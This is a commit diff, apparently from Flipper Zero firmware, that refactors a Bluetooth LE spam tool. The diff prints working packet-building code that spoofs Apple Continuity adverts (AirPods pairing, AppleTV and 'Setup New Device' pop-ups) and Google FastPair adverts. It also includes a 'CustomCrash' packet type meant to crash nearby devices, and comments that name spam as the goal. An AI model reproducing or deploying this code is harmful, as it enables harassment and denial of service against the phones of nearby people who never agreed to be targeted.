mirror of
https://github.com/Next-Flip/Momentum-Firmware.git
synced 2026-04-27 03:49:58 -07:00
Tidy up some code and patterns
This commit is contained in:
@@ -7,7 +7,7 @@
|
||||
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
||||
|
||||
const struct {
|
||||
uint16_t id;
|
||||
uint16_t value;
|
||||
const char* name;
|
||||
} pp_models[] = {
|
||||
{0x0E20, "AirPods Pro"},
|
||||
@@ -43,7 +43,7 @@ const struct {
|
||||
const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
|
||||
|
||||
const struct {
|
||||
uint8_t type;
|
||||
uint8_t value;
|
||||
const char* name;
|
||||
} na_actions[] = {
|
||||
{0x13, "AppleTV AutoFill"},
|
||||
@@ -61,7 +61,7 @@ const struct {
|
||||
};
|
||||
const uint8_t na_actions_count = COUNT_OF(na_actions);
|
||||
|
||||
static const char* type_names[ContinuityTypeCount] = {
|
||||
static const char* type_names[ContinuityTypeCOUNT] = {
|
||||
[ContinuityTypeAirDrop] = "AirDrop",
|
||||
[ContinuityTypeProximityPair] = "Proximity Pair",
|
||||
[ContinuityTypeAirplayTarget] = "Airplay Target",
|
||||
@@ -77,7 +77,7 @@ static const char* continuity_get_name(const ProtocolCfg* _cfg) {
|
||||
}
|
||||
|
||||
#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
|
||||
static uint8_t packet_sizes[ContinuityTypeCount] = {
|
||||
static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
|
||||
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
|
||||
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
|
||||
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
|
||||
@@ -138,26 +138,26 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot
|
||||
}
|
||||
|
||||
case ContinuityTypeProximityPair: {
|
||||
uint16_t model_id;
|
||||
if(cfg && cfg->data.proximity_pair.model_id != 0x0000) {
|
||||
model_id = cfg->data.proximity_pair.model_id;
|
||||
uint16_t model;
|
||||
if(cfg && cfg->data.proximity_pair.model != 0x0000) {
|
||||
model = cfg->data.proximity_pair.model;
|
||||
} else {
|
||||
model_id = pp_models[rand() % pp_models_count].id;
|
||||
model = pp_models[rand() % pp_models_count].value;
|
||||
}
|
||||
|
||||
uint8_t prefix;
|
||||
if(cfg && cfg->data.proximity_pair.prefix == 0x00) {
|
||||
prefix = cfg->data.proximity_pair.prefix;
|
||||
} else {
|
||||
if(model_id == 0x0055 || model_id == 0x0030)
|
||||
if(model == 0x0055 || model == 0x0030)
|
||||
prefix = 0x05;
|
||||
else
|
||||
prefix = 0x01;
|
||||
}
|
||||
|
||||
packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
|
||||
packet[i++] = (model_id >> 0x08) & 0xFF;
|
||||
packet[i++] = (model_id >> 0x00) & 0xFF;
|
||||
packet[i++] = (model >> 0x08) & 0xFF;
|
||||
packet[i++] = (model >> 0x00) & 0xFF;
|
||||
packet[i++] = 0x55; // Status
|
||||
packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
|
||||
packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
|
||||
@@ -209,23 +209,23 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot
|
||||
|
||||
case ContinuityTypeNearbyAction: {
|
||||
uint8_t action;
|
||||
if(cfg && cfg->data.nearby_action.type != 0x00) {
|
||||
action = cfg->data.nearby_action.type;
|
||||
if(cfg && cfg->data.nearby_action.action != 0x00) {
|
||||
action = cfg->data.nearby_action.action;
|
||||
} else {
|
||||
action = na_actions[rand() % na_actions_count].type;
|
||||
action = na_actions[rand() % na_actions_count].value;
|
||||
}
|
||||
|
||||
uint8_t flag;
|
||||
uint8_t flags;
|
||||
if(cfg && cfg->data.nearby_action.flags != 0x00) {
|
||||
flag = cfg->data.nearby_action.flags;
|
||||
flags = cfg->data.nearby_action.flags;
|
||||
} else {
|
||||
flag = 0xC0;
|
||||
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
|
||||
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
|
||||
flags = 0xC0;
|
||||
if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
|
||||
if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
|
||||
}
|
||||
|
||||
packet[i++] = flag; // Action Flags
|
||||
packet[i++] = action; // Action Type
|
||||
packet[i++] = flags;
|
||||
packet[i++] = action;
|
||||
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
||||
i += 3;
|
||||
break;
|
||||
@@ -243,16 +243,16 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot
|
||||
case ContinuityTypeCustomCrash: {
|
||||
// Found by @ECTO-1A
|
||||
|
||||
uint8_t action = na_actions[rand() % na_actions_count].type;
|
||||
uint8_t flag = 0xC0;
|
||||
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
|
||||
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
|
||||
uint8_t action = na_actions[rand() % na_actions_count].value;
|
||||
uint8_t flags = 0xC0;
|
||||
if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
|
||||
if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
|
||||
|
||||
i -= 2; // Override segment header
|
||||
packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
|
||||
packet[i++] = 0x05; // Continuity Size
|
||||
packet[i++] = flag; // Action Flags
|
||||
packet[i++] = action; // Action Type
|
||||
packet[i++] = flags;
|
||||
packet[i++] = action;
|
||||
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
||||
i += 3;
|
||||
|
||||
@@ -275,12 +275,12 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot
|
||||
|
||||
enum {
|
||||
_ConfigPpExtraStart = ConfigExtraStart,
|
||||
ConfigPpModelId,
|
||||
ConfigPpModel,
|
||||
ConfigPpPrefix,
|
||||
};
|
||||
enum {
|
||||
_ConfigNaExtraStart = ConfigExtraStart,
|
||||
ConfigNaActionType,
|
||||
ConfigNaAction,
|
||||
ConfigNaFlags,
|
||||
};
|
||||
static void config_callback(void* _ctx, uint32_t index) {
|
||||
@@ -290,8 +290,8 @@ static void config_callback(void* _ctx, uint32_t index) {
|
||||
switch(cfg->type) {
|
||||
case ContinuityTypeProximityPair: {
|
||||
switch(index) {
|
||||
case ConfigPpModelId:
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelId);
|
||||
case ConfigPpModel:
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
|
||||
break;
|
||||
case ConfigPpPrefix:
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
|
||||
@@ -303,8 +303,8 @@ static void config_callback(void* _ctx, uint32_t index) {
|
||||
}
|
||||
case ContinuityTypeNearbyAction: {
|
||||
switch(index) {
|
||||
case ConfigNaActionType:
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionType);
|
||||
case ConfigNaAction:
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
|
||||
break;
|
||||
case ConfigNaFlags:
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
|
||||
@@ -318,15 +318,15 @@ static void config_callback(void* _ctx, uint32_t index) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
static void pp_model_id_changed(VariableItem* item) {
|
||||
static void pp_model_changed(VariableItem* item) {
|
||||
ContinuityCfg* cfg = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
if(index) {
|
||||
index--;
|
||||
cfg->data.proximity_pair.model_id = pp_models[index].id;
|
||||
cfg->data.proximity_pair.model = pp_models[index].value;
|
||||
variable_item_set_current_value_text(item, pp_models[index].name);
|
||||
} else {
|
||||
cfg->data.proximity_pair.model_id = 0x0000;
|
||||
cfg->data.proximity_pair.model = 0x0000;
|
||||
variable_item_set_current_value_text(item, "Random");
|
||||
}
|
||||
}
|
||||
@@ -342,15 +342,15 @@ static void pp_prefix_changed(VariableItem* item) {
|
||||
variable_item_set_current_value_text(item, "Auto");
|
||||
}
|
||||
}
|
||||
static void na_action_type_changed(VariableItem* item) {
|
||||
static void na_action_changed(VariableItem* item) {
|
||||
ContinuityCfg* cfg = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
if(index) {
|
||||
index--;
|
||||
cfg->data.nearby_action.type = na_actions[index].type;
|
||||
cfg->data.nearby_action.action = na_actions[index].value;
|
||||
variable_item_set_current_value_text(item, na_actions[index].name);
|
||||
} else {
|
||||
cfg->data.nearby_action.type = 0x00;
|
||||
cfg->data.nearby_action.action = 0x00;
|
||||
variable_item_set_current_value_text(item, "Random");
|
||||
}
|
||||
}
|
||||
@@ -362,16 +362,16 @@ static void continuity_extra_config(Ctx* ctx) {
|
||||
|
||||
switch(cfg->type) {
|
||||
case ContinuityTypeProximityPair: {
|
||||
item = variable_item_list_add(
|
||||
list, "Model ID", pp_models_count + 1, pp_model_id_changed, cfg);
|
||||
item =
|
||||
variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, cfg);
|
||||
const char* model_name = NULL;
|
||||
char model_name_buf[5];
|
||||
if(cfg->data.proximity_pair.model_id == 0x0000) {
|
||||
if(cfg->data.proximity_pair.model == 0x0000) {
|
||||
model_name = "Random";
|
||||
value_index = 0;
|
||||
} else {
|
||||
for(uint8_t i = 0; i < pp_models_count; i++) {
|
||||
if(cfg->data.proximity_pair.model_id == pp_models[i].id) {
|
||||
if(cfg->data.proximity_pair.model == pp_models[i].value) {
|
||||
model_name = pp_models[i].name;
|
||||
value_index = i + 1;
|
||||
break;
|
||||
@@ -379,10 +379,7 @@ static void continuity_extra_config(Ctx* ctx) {
|
||||
}
|
||||
if(!model_name) {
|
||||
snprintf(
|
||||
model_name_buf,
|
||||
sizeof(model_name_buf),
|
||||
"%04X",
|
||||
cfg->data.proximity_pair.model_id);
|
||||
model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
|
||||
model_name = model_name_buf;
|
||||
value_index = pp_models_count + 1;
|
||||
}
|
||||
@@ -421,15 +418,15 @@ static void continuity_extra_config(Ctx* ctx) {
|
||||
}
|
||||
case ContinuityTypeNearbyAction: {
|
||||
item = variable_item_list_add(
|
||||
list, "Action Type", na_actions_count + 1, na_action_type_changed, cfg);
|
||||
list, "Action Type", na_actions_count + 1, na_action_changed, cfg);
|
||||
const char* action_name = NULL;
|
||||
char action_name_buf[3];
|
||||
if(cfg->data.nearby_action.type == 0x00) {
|
||||
if(cfg->data.nearby_action.action == 0x00) {
|
||||
action_name = "Random";
|
||||
value_index = 0;
|
||||
} else {
|
||||
for(uint8_t i = 0; i < na_actions_count; i++) {
|
||||
if(cfg->data.nearby_action.type == na_actions[i].type) {
|
||||
if(cfg->data.nearby_action.action == na_actions[i].value) {
|
||||
action_name = na_actions[i].name;
|
||||
value_index = i + 1;
|
||||
break;
|
||||
@@ -437,7 +434,10 @@ static void continuity_extra_config(Ctx* ctx) {
|
||||
}
|
||||
if(!action_name) {
|
||||
snprintf(
|
||||
action_name_buf, sizeof(action_name_buf), "%02X", cfg->data.nearby_action.type);
|
||||
action_name_buf,
|
||||
sizeof(action_name_buf),
|
||||
"%02X",
|
||||
cfg->data.nearby_action.action);
|
||||
action_name = action_name_buf;
|
||||
value_index = na_actions_count + 1;
|
||||
}
|
||||
@@ -477,24 +477,24 @@ const Protocol protocol_continuity = {
|
||||
.extra_config = continuity_extra_config,
|
||||
};
|
||||
|
||||
static void pp_model_id_callback(void* _ctx, uint32_t index) {
|
||||
static void pp_model_callback(void* _ctx, uint32_t index) {
|
||||
Ctx* ctx = _ctx;
|
||||
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
||||
switch(index) {
|
||||
case 0:
|
||||
cfg->data.proximity_pair.model_id = 0x0000;
|
||||
cfg->data.proximity_pair.model = 0x0000;
|
||||
scene_manager_previous_scene(ctx->scene_manager);
|
||||
break;
|
||||
case pp_models_count + 1:
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelIdCustom);
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
|
||||
break;
|
||||
default:
|
||||
cfg->data.proximity_pair.model_id = pp_models[index - 1].id;
|
||||
cfg->data.proximity_pair.model = pp_models[index - 1].value;
|
||||
scene_manager_previous_scene(ctx->scene_manager);
|
||||
break;
|
||||
}
|
||||
}
|
||||
void scene_continuity_pp_model_id_on_enter(void* _ctx) {
|
||||
void scene_continuity_pp_model_on_enter(void* _ctx) {
|
||||
Ctx* ctx = _ctx;
|
||||
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
||||
Submenu* submenu = ctx->submenu;
|
||||
@@ -502,19 +502,19 @@ void scene_continuity_pp_model_id_on_enter(void* _ctx) {
|
||||
bool found = false;
|
||||
submenu_reset(submenu);
|
||||
|
||||
submenu_add_item(submenu, "Random", 0, pp_model_id_callback, ctx);
|
||||
if(cfg->data.proximity_pair.model_id == 0x0000) {
|
||||
submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
|
||||
if(cfg->data.proximity_pair.model == 0x0000) {
|
||||
found = true;
|
||||
selected = 0;
|
||||
}
|
||||
for(uint8_t i = 0; i < pp_models_count; i++) {
|
||||
submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_id_callback, ctx);
|
||||
if(!found && cfg->data.proximity_pair.model_id == pp_models[i].id) {
|
||||
submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
|
||||
if(!found && cfg->data.proximity_pair.model == pp_models[i].value) {
|
||||
found = true;
|
||||
selected = i + 1;
|
||||
}
|
||||
}
|
||||
submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_id_callback, ctx);
|
||||
submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
|
||||
if(!found) {
|
||||
found = true;
|
||||
selected = pp_models_count + 1;
|
||||
@@ -524,45 +524,44 @@ void scene_continuity_pp_model_id_on_enter(void* _ctx) {
|
||||
|
||||
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
|
||||
}
|
||||
bool scene_continuity_pp_model_id_on_event(void* _ctx, SceneManagerEvent event) {
|
||||
bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
|
||||
UNUSED(_ctx);
|
||||
UNUSED(event);
|
||||
return false;
|
||||
}
|
||||
void scene_continuity_pp_model_id_on_exit(void* _ctx) {
|
||||
void scene_continuity_pp_model_on_exit(void* _ctx) {
|
||||
UNUSED(_ctx);
|
||||
}
|
||||
|
||||
static void pp_model_id_custom_callback(void* _ctx) {
|
||||
static void pp_model_custom_callback(void* _ctx) {
|
||||
Ctx* ctx = _ctx;
|
||||
scene_manager_previous_scene(ctx->scene_manager);
|
||||
scene_manager_previous_scene(ctx->scene_manager);
|
||||
}
|
||||
void scene_continuity_pp_model_id_custom_on_enter(void* _ctx) {
|
||||
void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
|
||||
Ctx* ctx = _ctx;
|
||||
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
||||
ByteInput* byte_input = ctx->byte_input;
|
||||
|
||||
byte_input_set_header_text(byte_input, "Enter custom Model ID");
|
||||
byte_input_set_header_text(byte_input, "Enter custom Model Code");
|
||||
|
||||
ctx->byte_store[0] = (cfg->data.proximity_pair.model_id >> 0x08) & 0xFF;
|
||||
ctx->byte_store[1] = (cfg->data.proximity_pair.model_id >> 0x00) & 0xFF;
|
||||
ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
|
||||
ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
|
||||
|
||||
byte_input_set_result_callback(
|
||||
byte_input, pp_model_id_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
|
||||
byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
|
||||
|
||||
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
|
||||
}
|
||||
bool scene_continuity_pp_model_id_custom_on_event(void* _ctx, SceneManagerEvent event) {
|
||||
bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
|
||||
UNUSED(_ctx);
|
||||
UNUSED(event);
|
||||
return false;
|
||||
}
|
||||
void scene_continuity_pp_model_id_custom_on_exit(void* _ctx) {
|
||||
void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
|
||||
Ctx* ctx = _ctx;
|
||||
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
||||
cfg->data.proximity_pair.model_id =
|
||||
(ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
|
||||
cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
|
||||
}
|
||||
|
||||
static void pp_prefix_callback(void* _ctx, uint32_t index) {
|
||||
@@ -651,24 +650,24 @@ void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
|
||||
cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
|
||||
}
|
||||
|
||||
static void na_action_type_callback(void* _ctx, uint32_t index) {
|
||||
static void na_action_callback(void* _ctx, uint32_t index) {
|
||||
Ctx* ctx = _ctx;
|
||||
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
||||
switch(index) {
|
||||
case 0:
|
||||
cfg->data.nearby_action.type = 0x00;
|
||||
cfg->data.nearby_action.action = 0x00;
|
||||
scene_manager_previous_scene(ctx->scene_manager);
|
||||
break;
|
||||
case na_actions_count + 1:
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionTypeCustom);
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
|
||||
break;
|
||||
default:
|
||||
cfg->data.nearby_action.type = na_actions[index - 1].type;
|
||||
cfg->data.nearby_action.action = na_actions[index - 1].value;
|
||||
scene_manager_previous_scene(ctx->scene_manager);
|
||||
break;
|
||||
}
|
||||
}
|
||||
void scene_continuity_na_action_type_on_enter(void* _ctx) {
|
||||
void scene_continuity_na_action_on_enter(void* _ctx) {
|
||||
Ctx* ctx = _ctx;
|
||||
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
||||
Submenu* submenu = ctx->submenu;
|
||||
@@ -676,19 +675,19 @@ void scene_continuity_na_action_type_on_enter(void* _ctx) {
|
||||
bool found = false;
|
||||
submenu_reset(submenu);
|
||||
|
||||
submenu_add_item(submenu, "Random", 0, na_action_type_callback, ctx);
|
||||
if(cfg->data.nearby_action.type == 0x00) {
|
||||
submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
|
||||
if(cfg->data.nearby_action.action == 0x00) {
|
||||
found = true;
|
||||
selected = 0;
|
||||
}
|
||||
for(uint8_t i = 0; i < na_actions_count; i++) {
|
||||
submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_type_callback, ctx);
|
||||
if(!found && cfg->data.nearby_action.type == na_actions[i].type) {
|
||||
submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
|
||||
if(!found && cfg->data.nearby_action.action == na_actions[i].value) {
|
||||
found = true;
|
||||
selected = i + 1;
|
||||
}
|
||||
}
|
||||
submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_type_callback, ctx);
|
||||
submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
|
||||
if(!found) {
|
||||
found = true;
|
||||
selected = na_actions_count + 1;
|
||||
@@ -698,43 +697,43 @@ void scene_continuity_na_action_type_on_enter(void* _ctx) {
|
||||
|
||||
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
|
||||
}
|
||||
bool scene_continuity_na_action_type_on_event(void* _ctx, SceneManagerEvent event) {
|
||||
bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
|
||||
UNUSED(_ctx);
|
||||
UNUSED(event);
|
||||
return false;
|
||||
}
|
||||
void scene_continuity_na_action_type_on_exit(void* _ctx) {
|
||||
void scene_continuity_na_action_on_exit(void* _ctx) {
|
||||
UNUSED(_ctx);
|
||||
}
|
||||
|
||||
static void na_action_type_custom_callback(void* _ctx) {
|
||||
static void na_action_custom_callback(void* _ctx) {
|
||||
Ctx* ctx = _ctx;
|
||||
scene_manager_previous_scene(ctx->scene_manager);
|
||||
scene_manager_previous_scene(ctx->scene_manager);
|
||||
}
|
||||
void scene_continuity_na_action_type_custom_on_enter(void* _ctx) {
|
||||
void scene_continuity_na_action_custom_on_enter(void* _ctx) {
|
||||
Ctx* ctx = _ctx;
|
||||
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
||||
ByteInput* byte_input = ctx->byte_input;
|
||||
|
||||
byte_input_set_header_text(byte_input, "Enter custom Action Type");
|
||||
|
||||
ctx->byte_store[0] = (cfg->data.nearby_action.type >> 0x00) & 0xFF;
|
||||
ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
|
||||
|
||||
byte_input_set_result_callback(
|
||||
byte_input, na_action_type_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
|
||||
byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
|
||||
|
||||
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
|
||||
}
|
||||
bool scene_continuity_na_action_type_custom_on_event(void* _ctx, SceneManagerEvent event) {
|
||||
bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
|
||||
UNUSED(_ctx);
|
||||
UNUSED(event);
|
||||
return false;
|
||||
}
|
||||
void scene_continuity_na_action_type_custom_on_exit(void* _ctx) {
|
||||
void scene_continuity_na_action_custom_on_exit(void* _ctx) {
|
||||
Ctx* ctx = _ctx;
|
||||
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
||||
cfg->data.nearby_action.type = (ctx->byte_store[0] << 0x00);
|
||||
cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
|
||||
}
|
||||
|
||||
static void na_flags_callback(void* _ctx) {
|
||||
|
||||
@@ -16,18 +16,18 @@ typedef enum {
|
||||
ContinuityTypeNearbyInfo = 0x10,
|
||||
|
||||
ContinuityTypeCustomCrash,
|
||||
ContinuityTypeCount
|
||||
ContinuityTypeCOUNT
|
||||
} ContinuityType;
|
||||
|
||||
typedef struct {
|
||||
ContinuityType type;
|
||||
union {
|
||||
struct {
|
||||
uint16_t model_id;
|
||||
uint16_t model;
|
||||
uint8_t prefix;
|
||||
} proximity_pair;
|
||||
struct {
|
||||
uint8_t type;
|
||||
uint8_t action;
|
||||
uint8_t flags;
|
||||
} nearby_action;
|
||||
} data;
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
ADD_SCENE(continuity_pp_model_id, ContinuityPpModelId)
|
||||
ADD_SCENE(continuity_pp_model_id_custom, ContinuityPpModelIdCustom)
|
||||
ADD_SCENE(continuity_pp_model, ContinuityPpModel)
|
||||
ADD_SCENE(continuity_pp_model_custom, ContinuityPpModelCustom)
|
||||
ADD_SCENE(continuity_pp_prefix, ContinuityPpPrefix)
|
||||
ADD_SCENE(continuity_pp_prefix_custom, ContinuityPpPrefixCustom)
|
||||
ADD_SCENE(continuity_na_action_type, ContinuityNaActionType)
|
||||
ADD_SCENE(continuity_na_action_type_custom, ContinuityNaActionTypeCustom)
|
||||
ADD_SCENE(continuity_na_action, ContinuityNaAction)
|
||||
ADD_SCENE(continuity_na_action_custom, ContinuityNaActionCustom)
|
||||
ADD_SCENE(continuity_na_flags, ContinuityNaFlags)
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
|
||||
|
||||
const struct {
|
||||
uint32_t id;
|
||||
uint32_t value;
|
||||
const char* name;
|
||||
} models[] = {
|
||||
// Genuine devices
|
||||
@@ -40,19 +40,18 @@ const struct {
|
||||
const uint8_t models_count = COUNT_OF(models);
|
||||
|
||||
static const char* fastpair_get_name(const ProtocolCfg* _cfg) {
|
||||
const FastpairCfg* cfg = &_cfg->fastpair;
|
||||
UNUSED(cfg);
|
||||
UNUSED(_cfg);
|
||||
return "FastPair";
|
||||
}
|
||||
|
||||
static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
|
||||
const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL;
|
||||
|
||||
uint32_t model_id;
|
||||
if(cfg && cfg->model_id != 0x000000) {
|
||||
model_id = cfg->model_id;
|
||||
uint32_t model;
|
||||
if(cfg && cfg->model != 0x000000) {
|
||||
model = cfg->model;
|
||||
} else {
|
||||
model_id = models[rand() % models_count].id;
|
||||
model = models[rand() % models_count].value;
|
||||
}
|
||||
|
||||
uint8_t size = 14;
|
||||
@@ -68,9 +67,9 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc
|
||||
packet[i++] = 0x16; // AD Type (Service Data)
|
||||
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
|
||||
packet[i++] = 0xFE; // ...
|
||||
packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID
|
||||
packet[i++] = (model_id >> 0x08) & 0xFF; // ...
|
||||
packet[i++] = (model_id >> 0x00) & 0xFF; // ...
|
||||
packet[i++] = (model >> 0x10) & 0xFF;
|
||||
packet[i++] = (model >> 0x08) & 0xFF;
|
||||
packet[i++] = (model >> 0x00) & 0xFF;
|
||||
|
||||
packet[i++] = 2; // Size
|
||||
packet[i++] = 0x0A; // AD Type (Tx Power Level)
|
||||
@@ -82,27 +81,27 @@ static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const Protoc
|
||||
|
||||
enum {
|
||||
_ConfigExtraStart = ConfigExtraStart,
|
||||
ConfigModelId,
|
||||
ConfigModel,
|
||||
};
|
||||
static void config_callback(void* _ctx, uint32_t index) {
|
||||
Ctx* ctx = _ctx;
|
||||
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
|
||||
switch(index) {
|
||||
case ConfigModelId:
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelId);
|
||||
case ConfigModel:
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel);
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
static void model_id_changed(VariableItem* item) {
|
||||
static void model_changed(VariableItem* item) {
|
||||
FastpairCfg* cfg = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
if(index) {
|
||||
index--;
|
||||
cfg->model_id = models[index].id;
|
||||
cfg->model = models[index].value;
|
||||
variable_item_set_current_value_text(item, models[index].name);
|
||||
} else {
|
||||
cfg->model_id = 0x000000;
|
||||
cfg->model = 0x000000;
|
||||
variable_item_set_current_value_text(item, "Random");
|
||||
}
|
||||
}
|
||||
@@ -112,22 +111,22 @@ static void fastpair_extra_config(Ctx* ctx) {
|
||||
VariableItem* item;
|
||||
size_t value_index;
|
||||
|
||||
item = variable_item_list_add(list, "Model ID", models_count + 1, model_id_changed, cfg);
|
||||
item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, cfg);
|
||||
const char* model_name = NULL;
|
||||
char model_name_buf[9];
|
||||
if(cfg->model_id == 0x000000) {
|
||||
if(cfg->model == 0x000000) {
|
||||
model_name = "Random";
|
||||
value_index = 0;
|
||||
} else {
|
||||
for(uint8_t i = 0; i < models_count; i++) {
|
||||
if(cfg->model_id == models[i].id) {
|
||||
if(cfg->model == models[i].value) {
|
||||
model_name = models[i].name;
|
||||
value_index = i + 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(!model_name) {
|
||||
snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model_id);
|
||||
snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model);
|
||||
model_name = model_name_buf;
|
||||
value_index = models_count + 1;
|
||||
}
|
||||
@@ -147,24 +146,24 @@ const Protocol protocol_fastpair = {
|
||||
.extra_config = fastpair_extra_config,
|
||||
};
|
||||
|
||||
static void model_id_callback(void* _ctx, uint32_t index) {
|
||||
static void model_callback(void* _ctx, uint32_t index) {
|
||||
Ctx* ctx = _ctx;
|
||||
FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
|
||||
switch(index) {
|
||||
case 0:
|
||||
cfg->model_id = 0x000000;
|
||||
cfg->model = 0x000000;
|
||||
scene_manager_previous_scene(ctx->scene_manager);
|
||||
break;
|
||||
case models_count + 1:
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelIdCustom);
|
||||
scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom);
|
||||
break;
|
||||
default:
|
||||
cfg->model_id = models[index - 1].id;
|
||||
cfg->model = models[index - 1].value;
|
||||
scene_manager_previous_scene(ctx->scene_manager);
|
||||
break;
|
||||
}
|
||||
}
|
||||
void scene_fastpair_model_id_on_enter(void* _ctx) {
|
||||
void scene_fastpair_model_on_enter(void* _ctx) {
|
||||
Ctx* ctx = _ctx;
|
||||
FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
|
||||
Submenu* submenu = ctx->submenu;
|
||||
@@ -172,19 +171,19 @@ void scene_fastpair_model_id_on_enter(void* _ctx) {
|
||||
